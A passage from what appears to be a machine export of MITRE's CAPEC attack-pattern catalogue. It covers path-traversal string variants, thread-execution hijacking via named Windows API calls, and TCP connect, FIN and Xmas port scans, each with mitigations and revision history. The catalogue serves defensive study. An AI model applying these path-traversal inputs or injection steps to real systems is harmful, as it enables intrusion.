xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Using the file system API as the target, the following strings are all equivalent to many programs:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;.../../../test.txt&lt;xhtml:br&gt;&lt;/xhtml:br&gt;............/../../test.txt&lt;xhtml:br&gt;&lt;/xhtml:br&gt;..?/../../test.txt&lt;xhtml:br&gt;&lt;/xhtml:br&gt;..????????/../../test.txt&lt;xhtml:br&gt;&lt;/xhtml:br&gt;../test.txt&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;As you can see, there are many ways to make a semantically equivalent request. All these strings ultimately result in a request for the file ../test.txt.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 173 + + + + + 41 + + + + + 172 + + + + + 179 + + + + + 180 + + + + + 181 + + + + + 183 + + + + + 184 + + + + + 20 + + + + + 74 + + + + + 697 + + + + + 707 + + + + + + + + + + + + #indReferenceReference17195 + Reference_17195 + + + + + + + + + REF-1 + + + + + + + + + + + + #indContentHistoryContentHistory17197 + Content_History_17197 + + + + + + + + + + + + + + + + #indSubmissionSubmission17198 + Submission_17198 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification17203 + Modification_17203 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Attack_Phases + + + + + + + + + + + + #indModificationModification17209 + Modification_17209 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Attack_Phases + + + + + + + + + + + + #indModificationModification17215 + Modification_17215 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Attack_Phases + + + + + + + + + + + + #indModificationModification17221 + Modification_17221 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Phases + + + + + + + + + + + + #indModificationModification17227 + Modification_17227 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Phases, Description Summary, Payload + + + + + + + + + + + + #indModificationModification17233 + Modification_17233 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Phases, Attacker_Skills_or_Knowledge_Required + + + + + + + + + + + + #indModificationModification17239 + Modification_17239 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Mitigations + + + + + + + + + + + + #indModificationModification17245 + Modification_17245 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification17251 + Modification_17251 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification17257 + Modification_17257 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-30 + Hijacking a Privileged Thread of Execution + + + + + + + + + 30 + + + + + Hijacking a Privileged Thread of Execution + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary hijacks a privileged thread of execution by injecting malicious code into a running process. By using a privleged thread to do their bidding, adversaries can evade process-based detection that would stop an attack that creates a new process. This can lead to an adversary gaining access to the process's memory and can also enable elevated privileges. The most common way to perform this attack is by suspending an existing thread and manipulating its memory.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern17272 + Related_Attack_Pattern_17272 + + + + + + + + + + + + + + 233 + + + + + 515 + + + + + + + + + + + + #indAttackStepAttackStep17277 + Attack_Step_17277 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine target thread] The adversary determines the underlying system thread that is subject to user-control</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep17282 + Attack_Step_17282 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Gain handle to thread] The adversary then gains a handle to a process thread.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use the "OpenThread" API call in Windows on a known thread.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Cause an exception in a java privileged block public function and catch it, or catch a normal signal. The thread is then hanging and the adversary can attempt to gain a handle to it.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep17289 + Attack_Step_17289 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Alter process memory] Once the adversary has a handle to the target thread, they will suspend the thread and alter the memory using native OS calls.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">On Windows, use "SuspendThread" followed by "VirtualAllocEx", "WriteProcessMemory", and "SetThreadContext".</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep17295 + Attack_Step_17295 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Resume thread execution] Once the process memory has been altered to execute malicious code, the thread is then resumed.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">On Windows, use "ResumeThread".</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The application in question employs a threaded model of execution with the threads operating at, or having the ability to switch to, a higher privilege level than normal users</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In order to feasibly execute this class of attacks, the adversary must have the ability to hijack a privileged thread. This ability includes, but is not limited to, modifying environment variables that affect the process the thread belongs to, or calling native OS calls that can suspend and alter process memory. This does not preclude network-based attacks, but makes them conceptually more difficult to identify and execute.</xhtml:div> + + + + + + + + + + + + #indSkillSkill17307 + Skill_17307 + + + + + + + + + + + + + + Hijacking a thread involves knowledge of how processes and threads function on the target platform, the design of the target application as well as the ability to identify the primitives to be used or manipulated to hijack the thread. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;None: No specialized resources are required to execute this type of attack. The adversary needs to be able to latch onto a privileged thread.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The adversary does, however, need to be able to program, compile, and link to the victim binaries being executed so that it will turn control of a privileged thread over to the adversary's malicious code. This is the case even if the adversary conducts the attack remotely.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence17316 + Consequence_17316 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence17322 + Consequence_17322 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Application Architects must be careful to design callback, signal, and similar asynchronous constructs such that they shed excess privilege prior to handing control to user-written (thus untrusted) code.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Application Architects must be careful to design privileged code blocks such that upon return (successful, failed, or unpredicted) that privilege is shed prior to leaving the block/scope.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Adversary targets an application written using Java's AWT, with the 1.2.2 era event model. In this circumstance, any AWTEvent originating in the underlying OS (such as a mouse click) would return a privileged thread (e.g., a system call). The adversary could choose to not return the AWT-generated thread upon consuming the event, but instead leveraging its privilege to conduct privileged operations.</xhtml:div> + + + + + 270 + + + + + + + + + + + + #indTaxonomyMappingProcessInjectionThreadExecutionHijacking + Process Injection: Thread Execution Hijacking + + + + + + + + + + + + + + 1055.003 + + + + + Process Injection: Thread Execution Hijacking + + + + + + + + + + + + #indContentHistoryContentHistory17346 + Content_History_17346 + + + + + + + + + + + + + + + + #indSubmissionSubmission17347 + Submission_17347 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification17352 + Modification_17352 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification17358 + Modification_17358 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Phases, Attack_Prerequisites, Description Summary, Examples-Instances, Probing_Techniques, Resources_Required + + + + + + + + + + + + #indModificationModification17364 + Modification_17364 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description Summary, Examples-Instances, Probing_Techniques + + + + + + + + + + + + #indModificationModification17370 + Modification_17370 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Execution_Flow, Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification17376 + Modification_17376 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Description, Execution_Flow, Prerequisites + + + + + + + + + + + + #CAPEC-300 + Port Scanning + + + + + + + + + 300 + + + + + Port Scanning + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary uses a combination of techniques to determine the state of the ports on a remote target. Any service or application available for TCP or UDP networking will have a port open for communications over the network.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Although common services have assigned port numbers, services and applications can run on arbitrary ports. Additionally, port scanning is complicated by the potential for any machine to have up to 65535 possible UDP or TCP services. The goal of port scanning is often broader than identifying open ports, but also give the adversary information concerning the firewall configuration.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Depending upon the method of scanning that is used, the process can be stealthy or more obtrusive, the latter being more easily detectable due to the volume of packets involved, anomalous packet traits, or system logging. Typical port scanning activity involves sending probes to a range of ports and observing the responses. There are four port statuses that this type of attack aims to identify: open, closed, filtered, and unfiltered. For strategic purposes it is useful for an adversary to distinguish between an open port that is protected by a filter vs. a closed port that is not protected by a filter. Making these fine grained distinctions is requires certain scan types. Collecting this type of information tells the adversary which ports can be attacked directly, which must be attacked with filter evasion techniques like fragmentation, source port scans, and which ports are unprotected (i.e. not firewalled) but aren't hosting a network service. An adversary often combines various techniques in order to gain a more complete picture of the firewall filtering mechanisms in place for a host.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern17392 + Related_Attack_Pattern_17392 + + + + + + + + + + + + + + 169 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary requires logical access to the target's network in order to carry out this type of attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary requires a network mapping/scanning tool, or must conduct socket programming on the command line. Packet injection tools are also useful for this purpose. Depending upon the method used it may be necessary to sniff the network in order to see the response.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence17401 + Consequence_17401 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence17405 + Consequence_17405 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 200 + + + + + + + + + + + + #indTaxonomyMappingNetworkServiceScanning + Network Service Scanning + + + + + + + + + + + + + + 1046 + + + + + Network Service Scanning + + + + + + + + + + + + #indReferenceReference17423 + Reference_17423 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pg. 54 + + + + + + + + + + + + #indReferenceReference17424 + Reference_17424 + + + + + + + + + REF-128 + + + + + + + + + + + + #indReferenceReference17425 + Reference_17425 + + + + + + + + + REF-158 + + + + + + + + + + + + #indReferenceReference17427 + Reference_17427 + + + + + + + + + REF-34 + + + + + Section 4.1 Introduction to Port Scanning, pg. 73 + + + + + + + + + + + + #indReferenceReference17428 + Reference_17428 + + + + + + + + + REF-130 + + + + + + + + + + + + #indNoteNote17431 + Note_17431 + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">There are four types of port status that this type of attack aims to identify: 1) Open Port: The port is open and a firewall does not block access to the port, 2) Closed Port: The port is closed (i.e. no service resides there) and a firewall does not block access to the port, 3) Filtered Port: A firewall or ACL rule is blocking access to the port in some manner, although the presence of a listening service on the port cannot be verified, and 4) Unfiltered Port: A firewall or ACL rule is not blocking access to the port, although the presence of a listening service on the port cannot be verified.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory17433 + Content_History_17433 + + + + + + + + + + + + + + + + #indSubmissionSubmission17434 + Submission_17434 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification17439 + Modification_17439 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Prerequisites, Description, Description Summary, References, Related_Weaknesses, Resources_Required + + + + + + + + + + + + #indModificationModification17445 + Modification_17445 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification17451 + Modification_17451 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification17457 + Modification_17457 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Description, Notes + + + + + + + + + + + + #indModificationModification17463 + Modification_17463 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-301 + TCP Connect Scan + + + + + + + + + 301 + + + + + TCP Connect Scan + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary uses full TCP connection attempts to determine if a port is open on the target system. The scanning process involves completing a 'three-way handshake' with a remote port, and reports the port as closed if the full handshake cannot be established. An advantage of TCP connect scanning is that it works against any TCP/IP stack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;RFC 793 defines how TCP connections are established and torn down. TCP connect scanning commonly involves establishing a full connection, and then subsequently tearing it down, and therefore involves sending a significant number of packets to each port that is scanned. Compared to other types of scans, a TCP Connect scan is slow and methodical. This type of scanning causes considerable noise in system logs and can be spotted by IDS/IPS systems. TCP Connect scanning can detect when a port is open by completing the three-way handshake, but it cannot distinguish a port that is unfiltered with no service running on it from a port that is filtered by a firewall but contains an active service. Due to the significant volume of packets exchanged per port, TCP connect scanning can become very time consuming (performing a full TCP connect scan against a host can take multiple days). Generally, it is not used as a method for performing a comprehensive port scan, but is reserved for checking a short list of common ports.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern17478 + Related_Attack_Pattern_17478 + + + + + + + + + + + + + + 300 + + + + + + + + + + + + #indAttackStepAttackStep17481 + Attack_Step_17481 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary attempts to initialize a TCP connection with with the target port.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep17486 + Attack_Step_17486 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary uses the result of their TCP connection to determine the state of the target port. A successful connection indicates a port is open with a service listening on it while a failed connection indicates the port is not open.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary requires logical access to the target network. The TCP connect Scan requires the ability to connect to an available port and complete a 'three-way-handshake' This scanning technique does not require any special privileges in order to perform. This type of scan works against all TCP/IP stack implementations.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary can leverage a network mapper or scanner, or perform this attack via routine socket programming in a scripting language. Packet injection tools are also useful for this purpose. Depending upon the method used it may be necessary to sniff the network to see the response.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence17499 + Consequence_17499 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Employ a robust network defense posture that includes an IDS/IPS system.</xhtml:div> + + + + + 200 + + + + + + + + + + + + #indReferenceReference17511 + Reference_17511 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pg. 54 + + + + + + + + + + + + #indReferenceReference17512 + Reference_17512 + + + + + + + + + REF-128 + + + + + + + + + + + + #indReferenceReference17514 + Reference_17514 + + + + + + + + + REF-34 + + + + + Section 5.3 TCP Connect Scanning, pg. 100 + + + + + + + + + + + + #indReferenceReference17515 + Reference_17515 + + + + + + + + + REF-130 + + + + + + + + + + + + #indContentHistoryContentHistory17517 + Content_History_17517 + + + + + + + + + + + + + + + + #indSubmissionSubmission17518 + Submission_17518 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification17523 + Modification_17523 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Prerequisites, Description, Description Summary, References, Related_Weaknesses, Resources_Required, Solutions_and_Mitigations + + + + + + + + + + + + #indModificationModification17529 + Modification_17529 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification17535 + Modification_17535 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-302 + TCP FIN Scan + + + + + + + + + 302 + + + + + TCP FIN Scan + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary uses a TCP FIN scan to determine if ports are closed on the target machine. This scan type is accomplished by sending TCP segments with the FIN bit set in the packet header. The RFC 793 expected behavior is that any TCP segment with an out-of-state Flag sent to an open port is discarded, whereas segments with out-of-state flags sent to closed ports should be handled with a RST in response. This behavior should allow the adversary to scan for closed ports by sending certain types of rule-breaking packets (out of sync or disallowed by the TCB) and detect closed ports via RST packets.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In addition to its relative speed in comparison with other types of scans, the major advantage a TCP FIN Scan is its ability to scan through stateless firewall or ACL filters. Such filters are configured to block access to ports usually by preventing SYN packets, thus stopping any attempt to 'build' a connection. FIN packets, like out-of-state ACK packets, tend to pass through such devices undetected. FIN scanning is still relatively stealthy as the packets tend to blend in with the background noise on a network link.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern17550 + Related_Attack_Pattern_17550 + + + + + + + + + + + + + + 300 + + + + + + + + + + + + #indAttackStepAttackStep17553 + Attack_Step_17553 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary sends TCP packets with the FIN flag but not associated with an existing connection to target ports.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep17558 + Attack_Step_17558 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary uses the response from the target to determine the port's state. If no response is received the port is open. If a RST packet is received then the port is closed.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">FIN scanning requires the use of raw sockets, and thus cannot be performed from some Windows systems (Windows XP SP 2, for example). On Unix and Linux, raw socket manipulations require root privileges.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern requires the ability to send TCP FIN segments to a host during network reconnaissance. This can be achieved via the use of a network mapper or scanner, or via raw socket programming in a scripting language. Packet injection tools are also useful for this purpose. Depending upon the method used it may be necessary to sniff the network in order to see the response.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence17571 + Consequence_17571 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence17575 + Consequence_17575 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">FIN scans are detected via heuristic (non-signature) based algorithms, much in the same way as other scan types are detected. An IDS/IPS system with heuristic algorithms is required to detect them.</xhtml:div> + + + + + 200 + + + + + + + + + + + + #indReferenceReference17590 + Reference_17590 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pg. 55 + + + + + + + + + + + + #indReferenceReference17591 + Reference_17591 + + + + + + + + + REF-128 + + + + + + + + + + + + #indReferenceReference17593 + Reference_17593 + + + + + + + + + REF-147 + + + + + Section 5.5 TCP FIN, NULL, XMAS Scans, pg. 107 + + + + + + + + + + + + #indReferenceReference17594 + Reference_17594 + + + + + + + + + REF-130 + + + + + + + + + + + + #indNoteNote17597 + Note_17597 + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Many operating systems, however, do not implement RFC 793 exactly and for this reason FIN scans do not work as expected against these devices. Some operating systems, like Microsoft Windows, send a RST packet in response to any out-of-sync (or malformed) TCP segments received by a listening socket (rather than dropping the packet via RFC 793), thus preventing an attacker from distinguishing between open and closed ports. FIN scans are limited by the range of platforms against which they work. Additionally, because open ports are inferred via no responses being generated, one cannot distinguish an open port from a filtered port without further analysis. For instance, FIN scanning a system protected by a stateful firewall may indicate all ports being open. For these reasons, FIN scanning results must always be interpreted as part of a larger scanning strategy.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory17599 + Content_History_17599 + + + + + + + + + + + + + + + + #indSubmissionSubmission17600 + Submission_17600 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification17605 + Modification_17605 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description, Description Summary, References, Related_Weaknesses, Resources_Required + + + + + + + + + + + + #indModificationModification17611 + Modification_17611 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Description, Execution_Flow, Mitigations, Notes + + + + + + + + + + + + #indModificationModification17617 + Modification_17617 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName17623 + Previous_Entry_Name_17623 + + + + + + + + + 2018-07-31 + + + + + TCP FIN scan + + + + + + + + + + + + #CAPEC-303 + TCP Xmas Scan + + + + + + + + + 303 + + + + + TCP Xmas Scan + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary uses a TCP XMAS scan to determine if ports are closed on the target machine. This scan type is accomplished by sending TCP segments with all possible flags set in the packet header, generating packets that are illegal based on RFC 793. The RFC 793 expected behavior is that any TCP segment with an out-of-state Flag sent to an open port is discarded, whereas segments with out-of-state flags sent to closed ports should be handled with a RST in response. This behavior should allow an attacker to scan for closed ports by sending certain types of rule-breaking packets (out of sync or disallowed by the TCB) and detect closed ports via RST packets.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In addition to its relative speed when compared with other types of scans, its major advantage is its ability to scan through stateless firewall or ACL filters. Such filters are configured to block access to ports usually by preventing SYN packets, thus stopping any attempt to 'build' a connection. XMAS packets, like out-of-state FIN or ACK packets, tend to pass through such devices undetected. Because open ports are inferred via no responses being generated, one cannot distinguish an open port from a filtered port without further analysis. For instance, XMAS scanning a system protected by a stateful firewall may indicate all ports being open. Because of their obvious rule-breaking nature, XMAS scans are flagged by almost all intrusion prevention or intrusion detection systems.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern17633 + Related_Attack_Pattern_17633 + + + + + + + + + + + + + + 300 + + + + + + + + + + + + #indAttackStepAttackStep17636 + Attack_Step_17636 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary sends TCP packets with all flags set but not associated with an existing connection to target ports.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep17641 + Attack_Step_17641 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary uses the response from the target to determine the port's state. If no response is received the port is open. If a RST packet is received then the port is closed.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary needs logical access to the target network. XMAS scanning requires the use of raw sockets, and thus cannot be performed from some Windows systems (Windows XP SP 2, for example). On Unix and Linux, raw socket manipulations require root privileges.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack can be carried out with a network mapper or scanner, or via raw socket programming in a scripting language. Packet injection tools are also useful for this purpose. Depending upon the method used it may be necessary to sniff the network in order to see the response.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence17654 + Consequence_17654 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence17658 + Consequence_17658 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence17665 + Consequence_17665 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Employ a robust network defensive posture that includes a managed IDS/IPS.</xhtml:div> + + + + + 200 + + + + + + + + + + + + #indReferenceReference17677 + Reference_17677 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pg. 56 + + + + + + + + + + + + #indReferenceReference17678 + Reference_17678 + + + + + + + + + REF-128 + + + + + + + + + + + + #indReferenceReference17680 + Reference_17680 + + + + + + + + + REF-34 + + + + + Section 5.5 TCP FIN, NULL, XMAS Scans, pg. 107 + + + + + + + + + + + + #indReferenceReference17681 + Reference_17681 + + + + + + + + + REF-130 + + + + + + + + + + + + #indNoteNote17684 + Note_17684 + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Many operating systems do not implement RFC 793 exactly and for this reason XMAS scans do not work as expected against these devices. Some operating systems, like Microsoft Windows, send a RST packet in response to any out-of-sync (or malformed) TCP segments received by a listening socket (rather than dropping the packet via RFC 793), thus preventing the adversary from distinguishing between open and closed ports. XMAS scans are limited by the range of platforms against which they work.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory17686 + Content_History_17686 + + + + + + + + + + + + + + + + #indSubmissionSubmission17687 + Submission_17687 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification17692 + Modification_17692 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Prerequisites, Description, Description Summary, References, Related_Weaknesses, Resources_Required, Solutions_and_Mitigations + + + + + + + + + + + + #indModificationModification17698 + Modification_17698 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Description, Execution_Flow, Notes + + + + + + + + + + + + #indModificationModification17704 + Modification_17704 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-304 + TCP Null Scan + + + + + + + + + 